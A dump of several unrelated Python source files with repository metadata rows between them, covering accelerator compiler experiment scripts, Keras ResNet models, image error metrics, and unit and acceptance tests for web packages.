for BATCH_SIZE in [1,2,4,8]:
for ind, MODEL in enumerate(MODELS):
OUT_DIR = exp_dir + "/" + date_millisecond()
os.mkdir(OUT_DIR)
cmd1 = f'python precompiler/precompile.py \
--model {MODEL} \
--batch_size {BATCH_SIZE} \
--sentence_len {SENTENCE_LEN} \
--imsize {IMSIZE} \
--array_size {ARRAY_SIZE[0]} {ARRAY_SIZE[1]} \
--extra_models {EXTRA_MODELS[ind]} \
--enable_schedule_duplication 0 \
--out_dir {OUT_DIR}' \
cmd2 = f"./build-Release/compiler_st \
-r {ARRAY_SIZE[0]} \
-c {ARRAY_SIZE[1]} \
-N {NO_ARRAY} \
-M {MEMORY_BW} \
-S {BANK_SIZE} \
-I {INTERCONN} \
-d {OUT_DIR}"
cmd = cmd1 + " && " + cmd2
p = subprocess.Popen(cmd, shell=True)
print("process: {} ".format(p.pid), cmd)
running_procs.append(p)
time.sleep(.1)
wait_for_proc_limit(running_procs)
elapsed = time.time() - start
print(f"All processes for {__name__} have been started after {elapsed/60/60} hours, results are in {exp_dir}")
time.sleep(1)
def array_scale_experiment():
start = time.time()
exp_dir = "experiments/run-{}".format(date_second())
os.system("mkdir -p {}".format(exp_dir))
BATCH_SIZE = 1
IMSIZE = 299
MEMORY_BW = 1200
BANK_SIZE = 262144
cnn_models = ["inception", "resnet50", "resnet101", "resnet152", "densenet121", "densenet169", "densenet201"]
cnn_models = list(itertools.product(cnn_models, [1]))
bert_models = ["bert_tiny", "bert_small", "bert_medium", "bert_base", "bert_large"]
no_seqs = [10, 20, 40, 60, 80, 100, 200, 300, 400, 500]
bert_models = list(itertools.product(bert_models, no_seqs))
INTERCONN = "banyan_exp_1"
array_size_list = []
array_size_list += [(20,32,N) for N in [479]]
#array_size_list += [(32,64,N) for N in [207]]
array_size_list += [(20,128,N) for N in [130]]
#array_size_list += [(32,256,N) for N in [32]]
array_size_list += [(66,32,N) for N in [256]]
#array_size_list += [(128,32,N) for N in [157]]
#array_size_list += [(256,32,N) for N in [64]]
#array_size_list += [(32,32,N) for N in [8,16,32,64,128,256,512]]
#array_size_list += [(16,16,N) for N in [128,256,512,1024]]
#array_size_list += [(32,32,N) for N in [8,16,32,64,128,256,512]]
#array_size_list += [(32,32,N) for N in [32,64,128,256,512]]
#array_size_list += [(64,64,N) for N in [16,32,64,128,196,256]]
#array_size_list += [(128,128,N) for N in [1, 2, 4, 8, 16, 24, 32, 48, 64]]
#array_size_list += [(128,128,N) for N in [2,4,8,16,24,32,48,64]]
#array_size_list += [(256,256,N) for N in [1, 2, 4, 8, 12, 16]]
#array_size_list += [(400,400,1), (512,512,1), (800,800,1), (960,960,1), (1024,1024,1)]
#array_size_list += [(1024,1024,1)]
for r, c, N in array_size_list:
for MODEL,SENTENCE_LEN in bert_models + cnn_models:
OUT_DIR = exp_dir + "/" + date_millisecond()
os.mkdir(OUT_DIR)
bank_size_norm = BANK_SIZE*int(np.ceil(128/N))
cmd1 = f'python precompiler/precompile.py \
--model {MODEL} \
--batch_size {BATCH_SIZE} \
--sentence_len {SENTENCE_LEN} \
--imsize {IMSIZE} \
--array_size {r} {c} \
--out_dir {OUT_DIR}'
cmd2 = f"./build-Release/compiler_st \
-r {r} \
-c {c} \
-N {N} \
-M {MEMORY_BW} \
-S {bank_size_norm} \
-I {INTERCONN} \
-d {OUT_DIR}"
cmd = cmd1 + " && " + cmd2
p = subprocess.Popen(cmd, shell=True)
print("process: {} ".format(p.pid), cmd)
running_procs.append(p)
time.sleep(.1)
wait_for_proc_limit(running_procs)
elapsed = time.time() - start
print(f"All processes for {__name__} have been started after {elapsed/60/60} hours, results are in {exp_dir}")
time.sleep(1)
def partition_size_experiment():
start = time.time()
exp_dir = "experiments/run-{}".format(date_second())
os.system("mkdir -p {}".format(exp_dir))
BATCH_SIZE = 1
IMSIZE = 299
ARRAY_SIZE = (32, 32)
MEMORY_BW = 1200
BANK_SIZE = 262144
PARTITION_SIZES = [8, 16, 32, 48, 64, 128, 256, 512, 1024]
CNN_MODELS = ["inception", "resnet50", "resnet101", "resnet152", "densenet121", "densenet169", "densenet201"]
CNN_MODELS = list(itertools.product(CNN_MODELS, [1]))
BERT_MODELS = ["bert_medium", "bert_base", "bert_large"]
NO_SEQS = [100]
BERT_MODELS = list(itertools.product(BERT_MODELS, NO_SEQS))
NO_ARRAY = 256
INTERCONN = "banyan_exp_1"
for PARTITION_SIZE in PARTITION_SIZES:
for MODEL,SENTENCE_LEN in BERT_MODELS + CNN_MODELS:
OUT_DIR = exp_dir + "/" + date_millisecond()
os.mkdir(OUT_DIR)
cmd1 = f'python precompiler/precompile.py \
--model {MODEL} \
--batch_size {BATCH_SIZE} \
--sentence_len {SENTENCE_LEN} \
--imsize {IMSIZE} \
--array_size {ARRAY_SIZE[0]} {ARRAY_SIZE[1]} \
--partition_size {PARTITION_SIZE} \
--out_dir {OUT_DIR}'
cmd2 = f"./build-Release/compiler_st \
-r {ARRAY_SIZE[0]} \
-c {ARRAY_SIZE[1]} \
-N {NO_ARRAY} \
-M {MEMORY_BW} \
-S {BANK_SIZE} \
-I {INTERCONN} \
-d {OUT_DIR}"
cmd = cmd1 + " && " + cmd2
p = subprocess.Popen(cmd, shell=True)
print("process: {} ".format(p.pid), cmd)
running_procs.append(p)
time.sleep(.1)
wait_for_proc_limit(running_procs)
elapsed = time.time() - start
print(f"All processes for {__name__} have been started after {elapsed/60/60} hours, results are in {exp_dir}")
time.sleep(1)
if __name__=="__main__":
start = time.time()
#memory_experiment()
#interconnect_experiment()
#partition_size_experiment()
array_scale_experiment()
#bank_size_experiment()
#multi_batch_experiment()
wait_all_finish(running_procs)
elapsed = time.time() - start
print("All experiments are completed in {} hours.".format(elapsed/60/60)) | 32.487472 | 115 | 0.537933 | 1,758 | 14,262 | 4.118885 | 0.110922 | 0.062146 | 0.034111 | 0.014501 | 0.800166 | 0.774479 | 0.767574 | 0.753901 | 0.745063 | 0.728214 | 0 | 0.07264 | 0.326252 | 14,262 | 439 | 116 | 32.487472 | 0.680924 | 0.076918 | 0 | 0.75817 | 0 | 0.019608 | 0.126769 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.039216 | false | 0 | 0.019608 | 0.009804 | 0.081699 | 0.04902 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ef86ebead9749af2503a50a328905cde24e7100f | 297 | py | Python | tradingfeatures/apis/__init__.py | realiti4/bitfinexget | 6a64cf0cd1b7040fced33008ad3bbf5af034e3b9 | [
"MIT"
] | 2 | 2021-04-24T13:40:20.000Z | 2021-04-25T14:51:17.000Z | tradingfeatures/apis/__init__.py | realiti4/tradingfeatures | cd68abcc405b1e3a9dcd48e204cccae98c2f979d | [
"MIT"
] | null | null | null | tradingfeatures/apis/__init__.py | realiti4/tradingfeatures | cd68abcc405b1e3a9dcd48e204cccae98c2f979d | [
"MIT"
] | null | null | null | from tradingfeatures.apis.bitfinex import bitfinex
from tradingfeatures.apis.bitstamp import bitstamp
from tradingfeatures.apis.bitmex import bitmex
from tradingfeatures.apis.binance import binance
# from tradingfeatures.apis.okex import okex
# from tradingfeatures.apis.bitmex_v3 import bitmexV3 | 42.428571 | 53 | 0.86532 | 37 | 297 | 6.918919 | 0.297297 | 0.445313 | 0.539063 | 0.226563 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00738 | 0.087542 | 297 | 7 | 53 | 42.428571 | 0.937269 | 0.316498 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
ef979d570104ca1ec4455228d4c68f8c37a3a9d6 | 96 | py | Python | sepmachine/capture/__init__.py | williamfzc/sepmachine | 53bc83b2985ba2bdce9915b7f4a822d8690981a3 | [
"MIT"
] | 16 | 2020-03-20T12:37:01.000Z | 2022-02-09T09:54:27.000Z | sepmachine/capture/__init__.py | williamfzc/sepmachine | 53bc83b2985ba2bdce9915b7f4a822d8690981a3 | [
"MIT"
] | 4 | 2020-04-07T12:14:47.000Z | 2020-07-20T13:33:53.000Z | sepmachine/capture/__init__.py | williamfzc/sepmachine | 53bc83b2985ba2bdce9915b7f4a822d8690981a3 | [
"MIT"
] | 8 | 2020-03-08T09:05:47.000Z | 2021-12-10T09:46:38.000Z | from sepmachine.capture.adb import AdbCapture
from sepmachine.capture.empty import EmptyCapture
| 32 | 49 | 0.875 | 12 | 96 | 7 | 0.666667 | 0.333333 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.083333 | 96 | 2 | 50 | 48 | 0.954545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
efbab1dc0c33c64983d7ae13e7715066d0869280 | 6,379 | py | Python | eembc/CIFAR10_ResNetv1/resnet_v1_eembc.py | rushtheboy/platform_ml_models | 29d025ca2cbeb0b791d8432ab40a779c93b64032 | [
"RSA-MD"
] | null | null | null | eembc/CIFAR10_ResNetv1/resnet_v1_eembc.py | rushtheboy/platform_ml_models | 29d025ca2cbeb0b791d8432ab40a779c93b64032 | [
"RSA-MD"
] | null | null | null | eembc/CIFAR10_ResNetv1/resnet_v1_eembc.py | rushtheboy/platform_ml_models | 29d025ca2cbeb0b791d8432ab40a779c93b64032 | [
"RSA-MD"
] | null | null | null | import numpy as np
import tensorflow as tf
from tensorflow.keras.models import Model
from tensorflow.keras.layers import Input, Dense, Activation, Flatten, BatchNormalization
from tensorflow.keras.layers import Conv2D, AveragePooling2D, MaxPooling2D, Add
from tensorflow.keras.regularizers import l1_l2
#define model
def resnet_v1_eembc(input_shape=[32, 32, 3], num_classes=10, num_filters=[16, 32, 64],
kernel_sizes=[3, 1], strides=[1, 2], l1p=1e-4, l2p=0):
# Input layer, change kernel size to 7x7 and strides to 2 for an official resnet
inputs = Input(shape=input_shape)
x = Conv2D(num_filters[0],
kernel_size=kernel_sizes[0],
strides=strides[0],
padding='same',
kernel_initializer='he_normal',
kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(inputs)
x = BatchNormalization()(x)
x = Activation('relu')(x)
# First stack
# Weight layers
y = Conv2D(num_filters[0],
kernel_size=kernel_sizes[0],
strides=strides[0],
padding='same',
kernel_initializer='he_normal',
kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x)
y = BatchNormalization()(y)
y = Activation('relu')(y)
y = Conv2D(num_filters[0],
kernel_size=kernel_sizes[0],
strides=strides[0],
padding='same',
kernel_initializer='he_normal',
kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(y)
y = BatchNormalization()(y)
# Overall residual, connect weight layer and identity paths
x = Add()([x, y])
x = Activation('relu')(x)
# Second stack
# Weight layers
y = Conv2D(num_filters[1],
kernel_size=kernel_sizes[0],
strides=strides[1],
padding='same',
kernel_initializer='he_normal',
kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x)
y = BatchNormalization()(y)
y = Activation('relu')(y)
y = Conv2D(num_filters[1],
kernel_size=kernel_sizes[0],
strides=strides[0],
padding='same',
kernel_initializer='he_normal',
kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(y)
y = BatchNormalization()(y)
# Adjust for change in dimension due to stride in identity
x = Conv2D(num_filters[1],
kernel_size=kernel_sizes[1],
strides=strides[1],
padding='same',
kernel_initializer='he_normal',
kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x)
# Overall residual, connect weight layer and identity paths
x = Add()([x, y])
x = Activation('relu')(x)
# Third stack
# Weight layers
y = Conv2D(num_filters[2],
kernel_size=kernel_sizes[0],
strides=strides[1],
padding='same',
kernel_initializer='he_normal',
kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x)
y = BatchNormalization()(y)
y = Activation('relu')(y)
y = Conv2D(num_filters[2],
kernel_size=kernel_sizes[0],
strides=strides[0],
padding='same',
kernel_initializer='he_normal',
kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(y)
y = BatchNormalization()(y)
# Adjust for change in dimension due to stride in identity
x = Conv2D(num_filters[2],
kernel_size=kernel_sizes[1],
strides=strides[1],
padding='same',
kernel_initializer='he_normal',
kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x)
# Overall residual, connect weight layer and identity paths
x = Add()([x, y])
x = Activation('relu')(x)
# Final classification layer.
pool_size = int(np.amin(x.shape[1:3]))
x = AveragePooling2D(pool_size=pool_size)(x)
y = Flatten()(x)
outputs = Dense(num_classes,
activation='softmax',
kernel_initializer='he_normal')(y)
# Instantiate model.
model = Model(inputs=inputs, outputs=outputs)
return model
def resnet_v1_eembc_tiny(input_shape=[32, 32, 3], num_classes=10, num_filters=[8],
kernel_sizes=[3, 1], strides=[1, 2], l1p=1e-4, l2p=0):
# Input layer, change kernel size to 7x7 and strides to 2 for an official resnet
inputs = Input(shape=input_shape)
x = Conv2D(num_filters[0],
kernel_size=kernel_sizes[0],
strides=strides[0],
padding='same',
kernel_initializer='he_normal',
kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(inputs)
x = BatchNormalization()(x)
x = Activation('relu')(x)
# First stack
# Weight layers
y = Conv2D(num_filters[0],
kernel_size=kernel_sizes[0],
strides=strides[1],
padding='same',
kernel_initializer='he_normal',
kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x)
y = BatchNormalization()(y)
y = Activation('relu')(y)
y = Conv2D(num_filters[0],
kernel_size=kernel_sizes[0],
strides=strides[0],
padding='same',
kernel_initializer='he_normal',
kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(y)
y = BatchNormalization()(y)
# Adjust for change in dimension due to stride in identity
x = Conv2D(num_filters[0],
kernel_size=kernel_sizes[1],
strides=strides[1],
padding='same',
kernel_initializer='he_normal',
kernel_regularizer=l1_l2(l1=l1p,l2=l2p))(x)
# Overall residual, connect weight layer and identity paths
x = Add()([x, y])
x = Activation('relu')(x)
# Final classification layer.
pool_size = int(np.amin(x.shape[1:3]))
x = AveragePooling2D(pool_size=pool_size)(x)
y = Flatten()(x)
outputs = Dense(num_classes,
activation='softmax',
kernel_initializer='he_normal')(y)
# Instantiate model.
model = Model(inputs=inputs, outputs=outputs)
return model
| 36.66092 | 89 | 0.564979 | 753 | 6,379 | 4.628154 | 0.122178 | 0.043042 | 0.081779 | 0.107604 | 0.936298 | 0.907891 | 0.907891 | 0.898135 | 0.897561 | 0.897274 | 0 | 0.043308 | 0.319486 | 6,379 | 173 | 90 | 36.872832 | 0.759502 | 0.121022 | 0 | 0.923077 | 0 | 0 | 0.043151 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.015385 | false | 0 | 0.046154 | 0 | 0.076923 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
efc57f0bfde75a103b3b093d64859fdb63182106 | 221 | py | Python | Coding-Challenges/reverseNumber/reverse_number.py | FergusDevelopmentLLC/Coders-Workshop | 3513bd5f79eaa85b4d2a648c5f343a224842325d | [
"MIT"
] | 33 | 2019-12-02T23:29:47.000Z | 2022-03-24T02:40:36.000Z | Coding-Challenges/reverseNumber/reverse_number.py | FergusDevelopmentLLC/Coders-Workshop | 3513bd5f79eaa85b4d2a648c5f343a224842325d | [
"MIT"
] | 39 | 2020-01-15T19:28:12.000Z | 2021-11-26T05:13:29.000Z | Coding-Challenges/reverseNumber/reverse_number.py | FergusDevelopmentLLC/Coders-Workshop | 3513bd5f79eaa85b4d2a648c5f343a224842325d | [
"MIT"
] | 49 | 2019-12-02T23:29:53.000Z | 2022-03-03T01:11:37.000Z | #!/usr/bin/env python3
def reverse_number(x):
pass
print(reverse_number(123)) # 321
print(reverse_number(1534236469)) # 0
print(reverse_number(-2147483648)) # 0
print(reverse_number(-2147483412)) # -2143847412
| 20.090909 | 49 | 0.733032 | 29 | 221 | 5.413793 | 0.586207 | 0.414013 | 0.458599 | 0.242038 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.253886 | 0.126697 | 221 | 10 | 50 | 22.1 | 0.559585 | 0.18552 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.166667 | 0 | 0 | 0.166667 | 0.666667 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 7 |
4bd5065c17607e048c5aa15d6c4d95a16b9f3782 | 3,176 | py | Python | imageMetrics/metrics.py | skarrea/imageMetrics | 6f945ada57a52d1d9dff50ba13042fbf370435d7 | [
"MIT"
] | null | null | null | imageMetrics/metrics.py | skarrea/imageMetrics | 6f945ada57a52d1d9dff50ba13042fbf370435d7 | [
"MIT"
] | null | null | null | imageMetrics/metrics.py | skarrea/imageMetrics | 6f945ada57a52d1d9dff50ba13042fbf370435d7 | [
"MIT"
] | null | null | null | import numpy as np
def RMSRE(
image_true: np.ndarray,
image_test: np.ndarray,
mask: np.ndarray = None,
epsilon: float = 1e-9,
) -> float:
"""Root mean squared relative error (RMSRE) between two images within the
specified mask. If not mask is specified the entire image is used.
Parameters
----------
image_true : np.ndarray
ground truth image.
image_test : np.ndarray
predicted image.
mask : np.ndarray, optional
mask to compute the RMSRE in, by default None
epsilon : float, optional
epsilon used to stabilize the calculation of the relative error,
by default 1e-9
Returns
-------
float
RMSRE value between the images within the specified mask.
"""
if mask is None:
mask = np.ones_like(image_true)
mask_flat = mask.reshape(-1).astype(bool)
# flatten
relativeErrorImageFlat = (
image_test.reshape(-1)[mask_flat] - image_true.reshape(-1)[mask_flat]
) / (image_true.reshape(-1)[mask_flat] + epsilon)
return np.sqrt(
np.mean(relativeErrorImageFlat) ** 2 + np.std(relativeErrorImageFlat) ** 2
)
def RelativeErrorImage(
image_true: np.ndarray,
image_test: np.ndarray,
mask: np.ndarray = None,
epsilon: float = 1e-9,
) -> np.ndarray:
"""Relative error image between two images within the specified mask. Values
outside mask is set to zero. If no mask is specified the entire image is
used.
Parameters
----------
image_true : np.ndarray
ground truth image.
image_test : np.ndarray
predicted image.
mask : np.ndarray, optional
mask to compute the RMSRE in, by default None
epsilon : float, optional
epsilon used to stabilize the calculation of the relative error,
by default 1e-9
Returns
-------
np.ndarray
Relative error image.
"""
if mask is None:
mask = np.ones_like(image_true)
return np.where(mask, (image_test - image_true) / (image_true + epsilon), 0)
def MARE(
image_true: np.ndarray,
image_test: np.ndarray,
mask: np.ndarray = None,
epsilon: float = 1e-9,
) -> float:
"""Mean absolute relative error (MARE) between two images within the
specified mask. If not mask is specified the entire image is used.
Parameters
----------
image_true : np.ndarray
ground truth image.
image_test : np.ndarray
predicted image.
mask : np.ndarray, optional
mask to compute the RMSRE in, by default None
epsilon : float, optional
epsilon used to stabilize the calculation of the relative error,
by default 1e-9
Returns
-------
float
MARE value between the images within the specified mask.
"""
if mask is None:
mask = np.ones_like(image_true)
mask_flat = mask.reshape(-1).astype(bool)
# flatten
relativeErrorImageFlat = (
image_test.reshape(-1)[mask_flat] - image_true.reshape(-1)[mask_flat]
) / (image_true.reshape(-1)[mask_flat] + epsilon)
return np.mean(np.abs(relativeErrorImageFlat))
| 27.37931 | 82 | 0.631927 | 409 | 3,176 | 4.821516 | 0.173594 | 0.091278 | 0.033469 | 0.054767 | 0.848884 | 0.821501 | 0.821501 | 0.802231 | 0.802231 | 0.802231 | 0 | 0.009965 | 0.2733 | 3,176 | 115 | 83 | 27.617391 | 0.844454 | 0.511965 | 0 | 0.736842 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.078947 | false | 0 | 0.026316 | 0 | 0.184211 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ef2729d912da47367472976e5642ccc0db1359c6 | 196 | py | Python | src/rl_replicas/common/base_algorithms/__init__.py | yamatokataoka/reinforcement-learning-replications | 49eb06529ff414e16970e2e975f1a63311966b7e | [
"MIT"
] | 16 | 2020-07-21T11:39:46.000Z | 2022-02-01T23:05:57.000Z | src/rl_replicas/common/base_algorithms/__init__.py | yamatokataoka/reinforcement-learning-replications | 49eb06529ff414e16970e2e975f1a63311966b7e | [
"MIT"
] | 38 | 2020-10-09T00:59:00.000Z | 2022-03-27T07:38:34.000Z | src/rl_replicas/common/base_algorithms/__init__.py | yamatokataoka/reinforcement-learning-replications | 49eb06529ff414e16970e2e975f1a63311966b7e | [
"MIT"
] | 1 | 2022-02-26T03:10:29.000Z | 2022-02-26T03:10:29.000Z | """
Base Algorithms
"""
from rl_replicas.common.base_algorithms.off_policy_algorithm import OffPolicyAlgorithm
from rl_replicas.common.base_algorithms.on_policy_algorithm import OnPolicyAlgorithm
| 32.666667 | 86 | 0.877551 | 24 | 196 | 6.833333 | 0.541667 | 0.256098 | 0.170732 | 0.243902 | 0.414634 | 0.414634 | 0 | 0 | 0 | 0 | 0 | 0 | 0.061224 | 196 | 5 | 87 | 39.2 | 0.891304 | 0.076531 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
324a53d88d9808c4cc51ec55bc3666008bc1aa0b | 6,142 | py | Python | tests/test_models.py | OnroerendErfgoed/pyramid_urireferencer | 66c7b669723ee0e39d859566ae737ca665c162a4 | [
"MIT"
] | null | null | null | tests/test_models.py | OnroerendErfgoed/pyramid_urireferencer | 66c7b669723ee0e39d859566ae737ca665c162a4 | [
"MIT"
] | 95 | 2015-05-15T12:45:54.000Z | 2022-03-01T18:07:06.000Z | tests/test_models.py | OnroerendErfgoed/pyramid_urireferencer | 66c7b669723ee0e39d859566ae737ca665c162a4 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import json
from pyramid_urireferencer.models import (
RegistryResponse,
ApplicationResponse,
Item
)
class TestRegistryResponse:
def test_init(self):
rr = RegistryResponse(
'http://id.example.org/me',
True,
True,
1,
[
ApplicationResponse(
'Zotskapp',
'http://zotskapp.be/',
'http://zotskap.be/references',
True,
True,
1,
[Item('Red with dots.', 'http://zotskapp.be/redwithdots')]
)
]
)
assert rr.query_uri == 'http://id.example.org/me'
assert rr.success
assert rr.has_references
assert rr.count == 1
assert len(rr.applications) == 1
def test_load_from_json(self):
data = {
'query_uri': 'http://id.example.org/me',
'success': True,
'has_references': False,
'count': 0,
'applications': []
}
rr = RegistryResponse.load_from_json(data)
assert rr.query_uri == 'http://id.example.org/me'
assert rr.success
assert not rr.has_references
assert rr.count == 0
assert len(rr.applications) == 0
def test_load_from_json_string(self):
data = {
'query_uri': 'http://id.example.org/me',
'success': True,
'has_references': False,
'count': 0,
'applications': []
}
data = json.dumps(data)
rr = RegistryResponse.load_from_json(data)
assert rr.query_uri == 'http://id.example.org/me'
assert rr.success
assert not rr.has_references
assert rr.count == 0
assert len(rr.applications) == 0
def test_load_from_json_string_applications_none(self):
data = {
'query_uri': 'http://id.example.org/me',
'success': True,
'has_references': False,
'count': 0,
'applications': None
}
data = json.dumps(data)
rr = RegistryResponse.load_from_json(data)
assert rr.query_uri == 'http://id.example.org/me'
assert rr.success
assert not rr.has_references
assert rr.count == 0
assert len(rr.applications) == 0
class TestApplicationResponse:
def test_init(self):
ar = ApplicationResponse(
'Zotskapp',
'http://zotskapp.be',
'http://zotskapp.be/references',
True,
True,
1,
[Item('Red with dots.', 'http://zotskapp.be/redwithdots')]
)
assert ar.uri == 'http://zotskapp.be'
assert ar.service_url == 'http://zotskapp.be/references'
assert ar.success
assert ar.has_references
assert ar.count == 1
assert len(ar.items) == 1
def test_load_from_json(self):
data = {
'title': 'Zotskapp',
'uri': 'http://zotskapp.be',
'service_url': 'http://zotskapp.be/references',
'success': True,
'has_references': True,
'count': 1,
'items': [{
'uri': 'http://zotskapp.be/redwithdots',
'title': 'Red with dots.'
}]
}
ar = ApplicationResponse.load_from_json(data)
assert isinstance(ar, ApplicationResponse)
assert ar.uri == 'http://zotskapp.be'
assert ar.service_url == 'http://zotskapp.be/references'
assert ar.success
assert ar.has_references
assert ar.count == 1
assert len(ar.items) == 1
def test_load_from_json_string(self):
data = {
'title': 'Zotskapp',
'uri': 'http://zotskapp.be',
'service_url': 'http://zotskapp.be/references',
'success': True,
'has_references': True,
'count': 1,
'items': [{
'uri': 'http://zotskapp.be/redwithdots',
'title': 'Red with dots.'
}]
}
data = json.dumps(data)
ar = ApplicationResponse.load_from_json(data)
assert isinstance(ar, ApplicationResponse)
assert ar.uri == 'http://zotskapp.be'
assert ar.service_url == 'http://zotskapp.be/references'
assert ar.success
assert ar.has_references
assert ar.count == 1
assert len(ar.items) == 1
def test_load_from_json_string_no_items(self):
data = {
'title': 'Zotskapp',
'uri': 'http://zotskapp.be',
'service_url': 'http://zotskapp.be/references',
'success': True,
'has_references': False,
'count': 0,
'items': []
}
data = json.dumps(data)
ar = ApplicationResponse.load_from_json(data)
assert isinstance(ar, ApplicationResponse)
assert ar.uri == 'http://zotskapp.be'
assert ar.service_url == 'http://zotskapp.be/references'
assert ar.success
assert not ar.has_references
assert ar.count == 0
assert len(ar.items) == 0
class TestItem:
def test_init(self):
i = Item('Red with dots.', 'http://zotskapp.be/redwithdots')
assert i.title == 'Red with dots.'
assert i.uri == 'http://zotskapp.be/redwithdots'
def test_load_from_json(self):
data = {
'uri': 'http://zotskapp.be/redwithdots',
'title': 'Red with dots.'
}
i = Item.load_from_json(data)
assert isinstance(i, Item)
assert i.title == 'Red with dots.'
assert i.uri == 'http://zotskapp.be/redwithdots'
def test_load_from_json_string(self):
data = {
'uri': 'http://zotskapp.be/redwithdots',
'title': 'Red with dots.'
}
data = json.dumps(data)
i = Item.load_from_json(data)
assert isinstance(i, Item)
assert i.title == 'Red with dots.'
assert i.uri == 'http://zotskapp.be/redwithdots'
| 31.336735 | 78 | 0.525399 | 649 | 6,142 | 4.847458 | 0.09245 | 0.102988 | 0.120153 | 0.075652 | 0.895741 | 0.890019 | 0.843611 | 0.840114 | 0.83185 | 0.819135 | 0 | 0.006477 | 0.346467 | 6,142 | 195 | 79 | 31.497436 | 0.77728 | 0.003419 | 0 | 0.768362 | 0 | 0 | 0.231737 | 0 | 0 | 0 | 0 | 0 | 0.310734 | 1 | 0.062147 | false | 0 | 0.011299 | 0 | 0.090395 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
089d066683bd1b0b96a261996f93f5ec46b1270e | 11,694 | py | Python | atlas/foundations_rest_api/src/acceptance/v2beta/test_jobs_listing_endpoint_v2.py | DeepLearnI/atlas | 8aca652d7e647b4e88530b93e265b536de7055ed | [
"Apache-2.0"
] | 296 | 2020-03-16T19:55:00.000Z | 2022-01-10T19:46:05.000Z | atlas/foundations_rest_api/src/acceptance/v2beta/test_jobs_listing_endpoint_v2.py | DeepLearnI/atlas | 8aca652d7e647b4e88530b93e265b536de7055ed | [
"Apache-2.0"
] | 57 | 2020-03-17T11:15:57.000Z | 2021-07-10T14:42:27.000Z | atlas/foundations_rest_api/src/acceptance/v2beta/test_jobs_listing_endpoint_v2.py | DeepLearnI/atlas | 8aca652d7e647b4e88530b93e265b536de7055ed | [
"Apache-2.0"
] | 38 | 2020-03-17T21:06:05.000Z | 2022-02-08T03:19:34.000Z | from acceptance.v2beta.jobs_tests_helper_mixin_v2 import JobsTestsHelperMixinV2
from acceptance.api_acceptance_test_case_base import APIAcceptanceTestCaseBase
class TestJobsListingEndpointV2(JobsTestsHelperMixinV2, APIAcceptanceTestCaseBase):
url = '/api/v2beta/projects/{_project_name}/job_listing'
